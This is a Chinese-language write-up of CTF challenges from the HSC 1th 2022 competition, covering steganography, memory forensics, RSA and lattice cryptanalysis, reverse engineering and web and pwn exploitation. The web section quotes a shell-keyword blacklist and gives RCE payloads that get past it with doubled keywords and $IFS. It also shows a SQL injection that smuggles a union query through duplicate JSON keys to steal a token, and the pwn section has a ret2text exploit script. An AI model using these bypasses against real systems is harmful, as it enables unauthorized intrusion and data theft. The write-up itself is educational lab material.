本届HSC1th 2022是由社会战队红客突击队(Honker Security Commando)举办。 本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖web,crypto,misc,re等主流方向,并面向全球开放。比赛三甲可获突击队周边礼品。
Rank: 2
MISC
Sign-in
前往红客突击队公众号发送“HSC2019”并签到吧!
公众号签到。
flag{HSC_W3LC0M3}
DORAEMON
zip压缩包注释 哆啦A梦把泡好的QR放进口袋后,用六位数字把自己放好了。你能找到它吗?
,爆破得到密码 376852
;
得到png图片用16进制修改器修改高度,得到缺少两个定位图案的二维码;
修复上方两个定位图案,扫描得flag:flag{sing1emak3r10v3m!sc}
汝闻,人言否
png文件后存在zip压缩包,提取后在16进制查看器下修复压缩包,将两处 4B 50
修改为 50 4B
;
发现zip压缩包加密,注释 qazsedcftrfvgycft6yhntgbnytfvbhyik,.;p
为键盘密码,在键盘上画出六个字母 WVALOU
为解压密码,得到 flag
文件,16进制查看发现为wav文件结构;
使用audacity查看wav文件,在频谱图发现flag:flag:e5353bb7b57578bd4da1c898a8e2d767
PERFORMANCE-ART
两种图形替换密码的混合,其中一种为标准银河字母(Standard Galactic Alphabet),猜测另一种代表数字,根据形状和出现概率,猜测出前几位 504B0304140000000
,为zip压缩包文件头。
依次还原所有字符:
504b03041400000008004a7e7253148e1e
1e160000001400000006000000756e6b6e6
f778bcaadc888322ec9f30b752df70c
cfae8cca72b30400504b01021f0014000
00008004a7e7253148e1e1e16000000140
000000600240000000000000020000000000
00000756e6b6e6f770a002000000000000
1001800778284ef50dcd7016b04efef5
0dcd701e1b0ef144fdcd701504b05060
000000001000100580000003a0000000000
保存为zip文件,打开得到内容 ZmxhZ3tnNUEwIWkyZjF9
,base64解码得flag:flag{g5A0!i2f1}
WIRESHARK
zip压缩包后存在png图片,提取后使用zsteg查看LSB隐写,在 b1,rgb,lsb,xy
通道隐写了一张png图片,提取:
zsteg -E "b1,rgb,lsb,xy" Untitled1.png > out.png
是一张二维码,扫描得到内容 wrsak..iehr370
,栅栏解密 wireshark3.7.0
;
解压最开始的zip压缩包得到 wireshark
,16进制查看发现为pdf文件结构,文件头被修改过,还原为 %PDF
(25 50 44 46
)正常打开,内容无有用信息,猜想为PDF隐写;
使用wbStego工具从pdf文件成功提取出flag:flag{Go0dJ0B_y0ufIndLt}
PCXP
百度网盘https://pan.baidu.com/s/12q5ULEp_RD62MwbV5eE11A 提取码:1qih
奶牛快传https://cowtransfer.com/s/b76470ddc9e04a
蓝奏云https://wwo.lanzouy.com/b030r1x4j 密码:cvi0
本题目文件PCXP1与PCXP2均需要下载!
本题文件中flag{raw_Imfig3_mLs3}属于干扰项
两个dump内存的raw文件,用volatility分析。
其中一个发现 ffflaaagggg.rar
文件:
0x000000000227db70 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\ffflaaagggg.rar
根据提示,另一个发现 mirror.rar
文件:
0x00000000021221e0 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\Administrator\My Documents\My Music\mirror.rar
分别dumpfiles,按注释key:mirror
解压 mirror.rar
,提取 mirror.png
,发现后半部分有反转的png,reverse处理得到png内有密码 HSC-1th202248H
;
用密码解压 ffflaaagggg.rar
,得到 secret.pcap
,用tshark提取USB流量无结果;
查看16进制发现存在PNG文件头,用foremost提取出两张png图片,画面相同大小不同,猜测为盲水印隐写;
使用BlindWaterMark工具提取:
python3 bwmforpy3.py decode 00000030.png 00000094.png out.png
得到flag:flag{Wat3rMarkPtysc}
CRYPTO
Easy SignIn
5445705857464579517A4A48546A4A455231645457464243566B5579556C7053546C4A4E524564565646644D515670455130354C5755644F5231685256314A5452315A5552304E57576C5A49525430395054303950513D3D
ciphey一把梭,flag:flag{welc0me_to_my_s1gn_in}
AFFINE
flag{md5(result)}
# -*- coding: utf-8 -*- import string import hashlib letter=string.ascii_letters+string.digits def encrypt(m, c, a, b): for i in range(len(m)): ch=m[i] t=(letter.index(ch) * a + b) % 62 c.append(letter[t]) d = ''.join(c) print(d) m = c = [] a = b = assert ("flag" in m) print("加密后的密文为:") Cipher = encrypt(m, c, a, b) flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest() #print(flag) """ 加密后的密文为: xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv """
仿射密码加密,先根据密文和明文,爆破各位置存在 flag
字符串情况下对应的 a,b
值,再解密整串密文。
爆破求 a,b
:
import string
import hashlib
letter=string.ascii_letters+string.digits
def encrypt(m, a, b):
c = []
for i in range(len(m)):
ch=m[i]
t=(letter.index(ch) * a + b) % 62
c.append(letter[t])
d = ''.join(c)
return d
s='xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv'
for a in range(50):
for b in range(50):
Cipher = encrypt('flag', a, b)
for k in range(len(s)-3):
if Cipher==s[k:k+4]:
print(Cipher,a,b)
# korv 11 17
解密:
a=11
b=17
def decrypt(m, a, b):
import gmpy2
c = []
for i in range(len(m)):
ch=m[i]
t=((letter.index(ch) - b) * gmpy2.invert(a,62)) % 62
c.append(letter[t])
d = ''.join(c)
return d
m=decrypt(s, a, b)
print(m)
flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
print(flag)
# Oh62Affine1sSti1lN0tSecureEnoughToProtectflag
# 2b9b99caae1cc49e5b5aacbc8cc22350
flag:flag{2b9b99caae1cc49e5b5aacbc8cc22350}
LINE-GENERATION-TEST
“Sorry, Tazmi, I can’t hold you in my arms anymore” Who said that? flag{md5(result)}
根据 enc
结果,猜测为
m
o
d
26
\mod 26
mod26 下的矩阵运算,值对应字母序,简单用z3解:
from z3 import *
f=[Int(f'f{i}') for i in range(5)]
out=[9,23,0,13,19]
ss=Solver()
ss.add((f[0]+f[1])%26==out[0])
ss.add((f[1]+f[4])%26==out[1])
ss.add((f[2]+f[3]+f[4])%26==out[2])
ss.add((f[1]+f[2]+f[3])%26==out[3])
ss.add((f[3])%26==out[4])
for i in range(5):
ss.add(f[i]>=0)
ss.add(f[i]<26)
ss.check()
m=ss.model()
print(m)
res=''
for i in range(5):
res+=chr(m[f[i]].as_long()+ord('A'))
print(res)
# RSCTF
MD5,得flag:flag{e4163deba70420c58acb87abcab34141}
LATTICE
#!/usr/bin/env python # -*- coding: utf-8 -*- from Crypto.Util.number import * from gmpy2 import * flag = b'flag{******}'.strip(b'flag{').strip(b'}') _length = len(flag) f1, f2, f3 = [flag[_*_length//3:(_+1)*_length//3] for _ in range(3)] e = 0x10001 # part1 m1 = bytes_to_long(f1) p1 = getPrime(1024) q1 = getPrime(1024) n1 = p1 * q1 phi1 = n1 - p1 - q1 + 1 c1 = pow(m1, e, n1) e1 = invert(getPrime(730), phi1) e2 = invert(getPrime(730), phi1) print(f"c1={c1}") print(f"n1={n1}") print(f"e1, e2={e1}, {e2}") # c1=... # n1=... # e1, e2=... # part2 m2 = bytes_to_long(f2) p2 = getPrime(1024) q2 = getPrime(1024) n2 = p2 * q2 phi2 = n2 - p2 - q2 + 1 c2 = pow(m2, e, n2) e1 = invert(getPrime(818), phi2) e2 = invert(getPrime(818), phi2) e3 = invert(getPrime(818), phi2) print(f"c2={c2}") print(f"n2={n2}") print(f"e1, e2, e3={e1}, {e2}, {e3}") # c2=... # n2=... # e1, e2, e3=... # part3 m3 = bytes_to_long(f3) nl = [] cl = [] el = [] d = getPrime(890) for _ in range(7): p3 = getPrime(1024) q3 = getPrime(1024) n3 = p3 * q3 phi3 = n3 - p3 - q3 + 1 e3 = invert(d, phi3) c3 = pow(m3, e3, n3) nl.append(n3) el.append(int(e3)) cl.append(int(c3)) print(f"nl={nl}") print(f"el={el}") print(f"cl={cl}") # nl=[...] # el=[...] # cl=[...]
RSA的两种涉及格的LLL算法的攻击情形(多组低解密指数攻击+共私钥指数攻击)。
Part1,2组 e e e 的低解密指数攻击:
# Sage
import gmpy2
N =
e1 =
e2 =
c =
for i in range(1000):
alpha2 = i/1000
M1 = int(gmpy2.mpz(N)**0.5)
M2 = int( gmpy2.mpz(N)**(1+alpha2) )
D = diagonal_matrix(ZZ, [N, M1, M2, 1])
B = Matrix(ZZ, [ [1, -N, 0, N**2],
[0, e1, -e1, -e1*N],
[0, 0, e2, -e2*N],
[0, 0, 0, e1*e2] ]) * D
L = B.LLL()
v = Matrix(ZZ, L[0])
x = v * B**(-1)
phi = (x[0,1]/x[0,0]*e1).floor()
try:
d = inverse_mod(65537, phi)
m = bytes.fromhex(hex(power_mod(c, d, N))[2:])
if len(m)<20:
print(m)
break
except:
pass
# b'89c63fd5-00c'
Part2,3组 e e e 的低解密指数攻击:
# Sage
import gmpy2
N =
e1 =
e2 =
e3 =
c =
for i in range(1000):
alpha2 = i/1000
M1 = int(gmpy2.mpz(N)**(3./2))
M2 = int( gmpy2.mpz(N) )
M3 = int(gmpy2.mpz(N)**(3./2 + alpha2))
M4 = int( gmpy2.mpz(N)**(0.5) )
M5 = int( gmpy2.mpz(N)**(3./2 + alpha2) )
M6 = int( gmpy2.mpz(N)**(1.+alpha2) )
M7 = int( gmpy2.mpz(N)**(1.+alpha2) )
D = diagonal_matrix(ZZ, [M1, M2, M3, M4, M5, M6, M7, 1])
B = Matrix(ZZ, [ [1, -N, 0, N**2, 0, 0, 0, -N**3],
[0, e1, -e1, -e1*N, -e1, 0, e1*N, e1*N**2],
[0, 0, e2, -e2*N, 0, e2*N, 0, e2*N**2],
[0, 0, 0, e1*e2, 0, -e1*e2, -e1*e2, -e1*e2*N],
[0, 0, 0, 0, e3, -e3*N, -e3*N, e3*N**2],
[0, 0, 0, 0, 0, e1*e3, 0, -e1*e3*N],
[0, 0, 0, 0, 0, 0, e2*e3, -e2*e3*N],
[0, 0, 0, 0, 0, 0, 0, e1*e2*e3] ]) * D
L = B.LLL()
v = Matrix(ZZ, L[0])
x = v * B**(-1)
phi_ = (e1*x[0,1]/x[0,0]).floor()
try:
d = inverse_mod(65537, phi_)
m = hex(power_mod(c, d, N))[2:]
m = bytes.fromhex(hex(power_mod(c, d, N))[2:])
if len(m)<20:
print(m)
break
except:
pass
# b'f-4ae0-b369-'
Part3,共私钥指数 d d d 攻击:
from gmpy2 import *
nl=[...]
el=[...]
cl=[...]
ind=[]
nl_s=sorted(nl)
for i in range(7):
ind.append(nl.index(nl_s[i]))
print(ind)
e=[]
n=[]
c=[]
for i in range(7):
e.append(el[ind[i]])
n.append(nl[ind[i]])
c.append(cl[ind[i]])
M=iroot(int(n[6]),int(2))[0]
a=[0]*8
a[0]=[M,e[0],e[1],e[2],e[3],e[4],e[5],e[6]]
a[1]=[0,-n[0],0,0,0,0,0,0]
a[2]=[0,0,-n[1],0,0,0,0,0]
a[3]=[0,0,0,-n[2],0,0,0,0]
a[4]=[0,0,0,0,-n[3],0,0,0]
a[5]=[0,0,0,0,0,-n[4],0,0]
a[6]=[0,0,0,0,0,0,-n[5],0]
a[7]=[0,0,0,0,0,0,0,-n[6]]
Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()
d = abs(Mat_LLL[0][0])//M
print(d)
print(bytes.fromhex(hex(pow(c[6],int(d),int(n[6])))[2:]))
# b'5a3d94a20a2c'
连接得flag:flag{89c63fd5-00cf-4ae0-b369-5a3d94a20a2c}
RSA
flag{md5(result)}
import gmpy2 import sympy from Crypto.Util.number import * flag = b'????' z=getPrime(1024) p=sympy.nextprime(z) q=sympy.prevprime(10*z) n=p*q m=bytes_to_long(flag) e=0xe18e c=pow(m,e,n) print("n=",n) print("c=",c) #n= ... #c= ...
费马分解RSA,发现 gcd ( e , φ ( n ) ) = 2 \gcd(e,\varphi(n))=2 gcd(e,φ(n))=2,令 e ′ = e 2 , m ′ = m 2 e'=\frac{e}{2},m'=m^2 e′=2e,m′=m2,
先求出 m ′ m' m′,再利用Rabin算法求 m m m。
n =
c =
e = 0xe18e
import gmpy2
p = gmpy2.iroot(n//10,2)[0]
while 1:
p = gmpy2.next_prime(p)
if n%p==0:
break
q = n//p
f = (p-1)*(q-1)
d = gmpy2.invert(e//2,f)
mm = pow(c,d,n)
print(mm)
def rabin_decrypt(c, p, q, e=2):
n = p * q
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
return (r, rr, s, ss)
m = rabin_decrypt(mm,p,q)
for i in range(4):
try:
print(bytes.fromhex(hex(m[i])[2:]))
except:
pass
# b'flag{6d22773623d3d5c871692e9985de5f16}'
BABY-RSA
from Crypto.Util.number import * def lfsr(status,mask): out = (status << 1) & 0xffffffff i=(status&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 out^=lastbit return (out,lastbit) status= 1 mask = 0b10110001110010011100100010110101 num = bytes_to_long(m) p = getPrime(1024) q = getPrime(1024) n = p*q e = 65537 hp = bin(p)[2:] c = pow(num, e, n) print("n=",n) print("c=",c) f=open("key","w+",encoding='utf-8') for i in range(568): curnum = int(hp[i]) (status,out)=lfsr(status,mask) f.write(str(curnum ^ out)) f.close() ''' n= ... c= ... ''' ''' key: 0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010 '''
RSA p p p 高位泄露攻击+LFSR。
先用LFSR结果异或还原 p p p 高位 h p hp hp:
def lfsr(status,mask):
out = (status << 1) & 0xffffffff
i=(status&mask)&0xffffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
out^=lastbit
return (out,lastbit)
status= 1
mask = 0b10110001110010011100100010110101
c = list('0101110100100111011011011000111010000111101000101010100100100011010111011000010010100101110110011101110110010100010111001110010011101010111011001100011011010110001010011111111110100110101010101110100110011010110101110110000110010101010000010110100110110110001110101011000011110100011011100101101101001000110010100111000111001111010101011011111110010111100101111001010000100010100001000111010011011111010011101100011101011010011010110001101110110110000110010011001101100000110000110100101010010010110101100101111101110000010011101110010101110100011101100110111111001010')
c=[int(k) for k in c]
hp = ''
for i in range(568):
(status,out) = lfsr(status,mask)
hp += str(c[i]^out)
hp = int(hp, 2)
print(hp)
# 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112
此时 h p hp hp 有568位,根据Coppersmith定理,1024位的 p p p 至少需要高576位才能恢复完整 p p p,需爆破8位二进制位:
# Sage
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
hp = 484896331241166236766986322307256381427323829969266475890843705533431739217993785274442520213477613786483789873490025705365184544110819157393140954140256890174240795425112
import string
dic = string.digits + "abcdef"
for a in dic:
for b in dic:
pp = hex(hp) + a + b
#p需要用0补全到1024位
pp += '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
#要加的数字与补全p时0的个数有关
pp = int(pp, 16)
p_fake = pp+0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
pbits = 1024
kbits = pbits-576
pbar = p_fake & (2^pbits-2^kbits)
#print("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
try:
x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.4
print(x0 + pbar)
except:
pass
# 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477
最后常规RSA:
p = 90225006288627020933267024425797647042965554486273674145474629022335483579168020321334177600624475358419458781387021577078957978886555066264514364951229871833611713144617155837023313756741716041993159155093522769416742461683810041045361926334946115547487234272520914249496954864904467634471167509689549908477
n = 9363543374665338283861145656340115756598328744870620756798779080826725774691364161648335378062705433999048117564356637094421930886166369832353405527855104576202658647651524758179962855692461154859961903531990172279764099199157181167775307950690492969859829926808950964120678082460448847927074487568619536568740301649988555476490206693181162301088156855926656544441682939839165455244630182978802660669255401576213941067679888164237586879364615664942234247896214195262510935345922512831632385741735810122730130366521612834556565838623708828780093323310348242654778247293430853566054703991781432542625271396246500576703
c = 3641304537029815746727163894554557322382012539953948183406308231174259571263608621970973671202001456955622458371303424750815017578104069924877881162707673935496925529412748663209884628320657034190702348924814794263041483260377960569530869386619921425415323912964305979776909598200202236912823968867485696101691879580799000240715778010424877093758489309380968229017074542588151574195295436881889313935734282141447498134543053106463951864974512375314091440713165047188590693431938599822340588934591712592995622334522799914563528630705687647950894928965913199772209825508001274120556508220248069647851360567609656517789
q = n//p
e = 0x10001
import gmpy2
f = (p-1)*(q-1)
d = gmpy2.invert(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))
# b'flag{fbbce1e3aa690ebb49039241f940ed26}'
WEB
CLICK
查看源码,找到 main.js
,发现 ZmxhZ3thNTNlMTgzOC01OTczLTRlY2MtOWFjMC00ODZlOTA0NThhMTl9Cg==
,base64解码得flag。
Web-sign in
提示robots协议,访问 robots.txt
,发现存在 fiag_ls_h3re.php
,
访问发现右键被禁用,加前缀 view-source:
查看源码得flag。
EXEC
<?php error_reporting(0); if(isset($_REQUEST["cmd"])){ $shell = $_REQUEST["cmd"]; $shell = str_ireplace(" ","",$shell); $shell = str_ireplace("\n","",$shell); $shell = str_ireplace("\t","",$shell); $shell = str_ireplace("?","",$shell); $shell = str_ireplace("*","",$shell); $shell = str_ireplace("<","",$shell); $shell = str_ireplace("system","",$shell); $shell = str_ireplace("passthru","",$shell); $shell = str_ireplace("ob_start","",$shell); $shell = str_ireplace("getenv","",$shell); $shell = str_ireplace("putenv","",$shell); $shell = str_ireplace("mail","",$shell); $shell = str_ireplace("error_log","",$shell); $shell = str_ireplace("`","",$shell); $shell = str_ireplace("exec","",$shell); $shell = str_ireplace("shell_exec","",$shell); $shell = str_ireplace("echo","",$shell); $shell = str_ireplace("cat","",$shell); $shell = str_ireplace("ls","",$shell); $shell = str_ireplace("nl","",$shell); $shell = str_ireplace("tac","",$shell); $shell = str_ireplace("bash","",$shell); $shell = str_ireplace("sh","",$shell); $shell = str_ireplace("tcp","",$shell); $shell = str_ireplace("base64","",$shell); $shell = str_ireplace("flag","",$shell); $shell = str_ireplace("cp","",$shell); exec($shell); }else{ highlight_file(__FILE__); }
带黑名单的无回显RCE,可以重定向写命令执行结果到文件,关键字可双写绕过,空格用$IFS
绕过。
列目录:?cmd=llss$IFS/>1.txt
,得到根目录flag文件名 ctf_is_fun_flag2021
;
读文件:?cmd=uniq$IFS/ctf_is_fun_flflagag2021>1.txt
,得到flag。
Language
源码里有python和go两个文件夹,有两个服务,端口8000是python开的,映射到对外端口;内网端口5000是go服务。python代码相当于中转站接受外网请求,处理后转发给go,go进行底层处理。
go服务中关键代码 backend.go
:
package controller
import (
db "ctf/database"
"encoding/json"
"fmt"
"github.com/buger/jsonparser"
"io/ioutil"
"net/http"
)
type Language struct {
Id int32 `json:"id"`
Name string `json:"name"`
Votes int64 `json:"votes"`
}
func Index(w http.ResponseWriter, _ *http.Request) {
ok(w, "Hello World!")
}
func List(w http.ResponseWriter, _ *http.Request) {
rows, err := db.Sqlite.Query("SELECT * FROM languages;")
if err != nil {
fail(w, "Something wrong")
fmt.Println(err.Error())
return
}
defer rows.Close()
res := make([]Language, 0)
for rows.Next() {
var pl Language
_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
res = append(res, pl)
}
err = json.NewEncoder(w).Encode(res)
}
func Search(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
votes, err := jsonparser.GetInt(reqBody, "votes")
if err != nil {
fail(w, "Error reading votes")
return
}
name, err := jsonparser.GetString(reqBody, "name")
if err != nil {
fail(w, "Error reading name")
return
}
query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
rows, err := db.Sqlite.Query(query)
if err != nil {
fail(w, "Something wrong")
fmt.Println(err.Error())
return
}
res := make([]Language, 0)
for rows.Next() {
var pl Language
_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
res = append(res, pl)
}
err = json.NewEncoder(w).Encode(res)
}
func Flag(w http.ResponseWriter, r *http.Request ) {
action:= r.URL.Query().Get("action")
if action == "" {
fail(w, "Error getting action")
return
}
token:= r.URL.Query().Get("token")
if token == "" {
fail(w, "Error getting token")
return
}
var secret string
row := db.Sqlite.QueryRow("SELECT secret FROM token;")
if err := row.Scan(&secret); err != nil {
fail(w, "Error querying secret token")
return
}
if action == "readFlag" && secret == token {
data, err := ioutil.ReadFile("flag")
if err != nil {
fail(w, "Error reading flag")
return
}
ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
return
}
ok(w, "Wrong token")
}
路由 /flag
中GET两个参数 ?action=readFlag&token=xxxxx
,token正确得flag,而路由 /search
中容易通过SQL注入拿到token。
python服务中 app.py
:
from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requests
app = Flask(__name__)
server = '127.0.0.1:8000'
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/list", methods=["POST"])
def listAll():
r = requests.post(f"http://{server}/api/list")
return jsonify(r.json())
@app.route("/search", methods=["GET", "POST"])
def search():
if request.method == "GET":
return render_template("search.html")
else:
data = request.json
if data['name']:
if not isinstance(data['name'], str) or not data['name'].isalnum():
return jsonify({"error": "Bad word detected"})
if data['votes']:
if not isinstance(data['votes'], int):
return jsonify({"error": "Bad word detected"})
r = requests.post(f"http://{server}/api/search", data=request.data)
return jsonify(r.json())
@app.route("/healthcheck", methods=["GET"])
def healthCheck():
getPath = ["", "flag"]
postPath = ["api/list", "api/search"]
try:
for path in getPath:
requests.get(f"http://{server}/{path}")
for path in postPath:
requests.post(f"http://{server}/{path}")
except:
return "Down"
return "OK"
@app.route("/<path:path>", methods=["GET"])
def handle(path):
if 'flag' in unquote(path):
action = request.args.get('action')
token = request.args.get('token')
print(action)
if action == "readFlag":
return jsonify({"error": "Sorry, readFlag is not permitted"})
r = requests.get(f"http://{server}/{path}", params={
"action": action,
"token": token
})
else:
r = requests.get(f"http://{server}/{path}")
return jsonify(r.text)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
发现其中存在两个点需要绕过:
- 路由
/search
中JSON严格过滤,name
的值必须满足isalnum()
,votes
的值必须为数字,避免SQL注入情况; - 检测url里使用GET方法传入
action=readFlag
会直接拒绝。
对于第1点,尝试构造含两个 name
参数的JSON,在python中认JSON中第二个 name
,而go中认JSON中第一个 name
,利用这种差异构造:{"votes":1,"name":"-1' union select 1,secret,3 from token --+","name":[]}
,绕过得到token值,得到 re@l1y_4th_T0k3n
。
对于第2点,利用 @app.route("/<path:path>")
特性,对 ?
进行url编码可以在python层面绕过GET参数识别,即 action = request.args.get('action')
不会获取到内容,payload:/flag%3faction=readFlag&token=re@l1y_4th_T0k3n
。
得到flag:"{\"msg\":\"Congrats this is your flag: flag{73c468d2-582e-4fdf-8be9-72efe6cbb9a2}\\n\"}\n"
REVERSE
hiahia o(*^▽^*)┛
IDA查看伪码,无逆向,照着实现就行:
s=list(b'igdb~Mumu@p&>%;%<$<p')
def flag(c,k):
if k>9:
if k&1==0:
return c-11
else:
return c+13
else:
if k&1==0:
return c-3
else:
return c+5
t=''
for i in range(len(s)):
t+=chr(flag(s[i],i))
print(t)
# flag{RrrrEe33202111}
ANDROID
jadx查看MainActivity主逻辑:
public void onClick(View view) {
String trim = this.input.getText().toString().trim();
int[] iArr = {102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42};
int[] iArr2 = {42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42};
if (trim.length() != 18) {
this.input.setText("FLAG错误");
return;
}
char[] charArray = trim.toCharArray();
for (int i = 0; i < 17; i++) {
iArr2[i] = i % 2 == 0 ? charArray[i] ^ i : charArray[i] ^ charArray[i + 1];
}
String str = "";
for (int i2 = 0; i2 < 18; i2++) {
str = str.concat(Integer.toHexString(iArr2[i2])).concat(",");
}
System.out.println(str);
for (int i3 = 0; i3 < 18; i3++) {
if (iArr2[i3] != iArr[i3]) {
this.input.setText("FLAG错误!");
return;
}
}
this.input.setText("FLAG正确");
}
用z3解:
from z3 import *
flag=[BitVec(f'flag{i}',7) for i in range(18)]
out=[102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42]
s=[42]*19
ss=Solver()
for i in range(17):
if i%2==0:
s[i]=flag[i]^i
else:
s[i]=flag[i]^flag[i+1]
for i in range(18):
ss.add(s[i]==out[i])
ss.check()
m=ss.model()
res=''
for i in range(17):
res+=(chr(m[flag[i]].as_long()))
print(res)
# flag{Reverse__APP
加花括号闭合,得到flag:flag{Reverse__APP}
WAY
flag{md5(result)}
检测带upx壳,脱壳后IDA查看伪码,迷宫题,wsad代表上下左右,提取迷宫数组得:
OIIII
OOIO#
IOOOI
IOIOI
IIIII
容易得到路径:sdsddwd,MD5得到flag:flag{6654b3343f6f3f6223a721e7f65e87f8}
SPARK
Sparc架构,IDA无法反编译为伪码,用Ghidra得到伪码主逻辑:
undefined8 main(void)
{
longlong unaff_g7;
int local_res7d3;
undefined8 local_res7d7;
undefined8 local_res7df;
undefined8 local_res7e7;
undefined8 local_res7ef;
longlong local_res7f7;
local_res7f7 = *(longlong *)(unaff_g7 + 0x28);
local_res7d7 = 0;
local_res7df = 0;
local_res7e7 = 0x37463f3044413243;
local_res7ef = 0x3429000000000000;
puts("input_sparkle_flag_here:\n");
read(0,&local_res7d7,0xc);
local_res7d3 = 0;
do {
if (9 < local_res7d3) {
puts("good_job!");
LAB_001008a0:
if (local_res7f7 == *(longlong *)(unaff_g7 + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) =
*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) + -0x2f;
if (*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) !=
*(char *)((longlong)&local_res7e7 + (longlong)local_res7d3)) {
puts("incorrect\n");
goto LAB_001008a0;
}
local_res7d3 = local_res7d3 + 1;
} while( true );
}
逻辑为输入flag值逐字符 -0x2f
得到的字符串与 0x37463f30444132433429
相等,即ROT47。
简单还原得flag:flag{fun_sparcX}
PWN
Ez_pwn
简单ret2text:
from pwn import *
r = remote('hsc2019.site',10891)
r.recvline()
pl = 'a'*0x48 + p64(0x400741)
r.sendline(pl)
r.interactive()